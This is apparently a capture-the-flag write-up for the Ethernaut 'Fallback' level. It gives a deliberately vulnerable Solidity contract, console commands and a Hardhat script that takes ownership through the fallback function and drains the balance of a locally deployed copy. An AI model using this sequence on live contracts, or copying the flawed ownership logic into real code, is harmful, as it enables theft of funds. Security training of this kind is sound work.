Ethernaut - Level 1 - Fallback

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "./openzeppelin-3.2.0/math/SafeMath.sol";

contract Fallback {
    using SafeMath for uint256;
    mapping(address => uint256) public contributions;
    address payable public owner;

    constructor() public {
        owner = msg.sender;
        contributions[msg.sender] = 1000 * (1 ether);
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    function contribute() public payable {
        require(msg.value < 0.001 ether);
        contributions[msg.sender] += msg.value;
        if (contributions[msg.sender] > contributions[owner]) {
            owner = msg.sender;
        }
    }

    function getContribution() public view returns (uint256) {
        return contributions[msg.sender];
    }

    function withdraw() public onlyOwner {
        owner.transfer(address(this).balance);
    }

    receive() external payable {
        require(msg.value > 0 && contributions[msg.sender] > 0);
        owner = msg.sender;
    }
}

await contract.contribute({value:1})

sendTransaction({ to: contract.address, value: 1 })

await contract.owner()

await contract.withdraw()

await getBalance(instance)

// หรือแบบนี้ก็ได้เหมือนกัน
await getBalance(contract.address)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract FallbackV2 {
    mapping(address => uint256) public contributions;
    address payable public owner;

    constructor() {
        owner = payable(msg.sender);
        contributions[msg.sender] = 1000 * (1 ether);
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    function contribute() public payable {
        require(msg.value < 0.001 ether);
        contributions[msg.sender] += msg.value;
        if (contributions[msg.sender] > contributions[owner]) {
            owner = payable(msg.sender);
        }
    }

    function getContribution() public view returns (uint256) {
        return contributions[msg.sender];
    }

    function withdraw() public onlyOwner {
        owner.transfer(address(this).balance);
    }

    receive() external payable {
        require(msg.value > 0 && contributions[msg.sender] > 0);
        owner = payable(msg.sender);
    }
}

import assert from 'assert';
import { ethers } from 'hardhat';

const main = async () => {
  const ContractFactory = await ethers.getContractFactory('FallbackV2');
  const contract = await ContractFactory.deploy();

  await contract.deployed();

  console.log('Contract deployed to:', contract.address);

  const [owner, attacker] = await ethers.getSigners();
  console.log(`Owner address : ${owner.address}`);
  console.log(`Attacker address ${attacker.address}`);

  // 1. Send some ether to contribute()
  await contract.connect(attacker).contribute({ value: 1 });

  // 2. Send transaction the fallback function will make attacker the owner.
  // Fallback function - https://www.geeksforgeeks.org/solidity-fall-back-function/
  await attacker.sendTransaction({
    to: contract.address,
    value: ethers.utils.parseUnits('1', 'wei')
  });

  // 3. Check the owner
  const contractOwner = await contract.owner();
  assert(contractOwner === attacker.address, 'isOwner?');

  // 4. Make withdraw to take all money
  const tx = await contract.connect(attacker).withdraw();
  tx.wait();

  // 5. Verify contract balance is 0
  const balance = await contract.provider.getBalance(contract.address);
  assert(balance.toString() === '0', 'Balance is empty');
  console.log(`Total balance : ${balance}`);
};

main().catch((error) => {
  console.error(error);
  process.exitCode = 1;
});

npx hardhat run scripts/01-fallback-v2.ts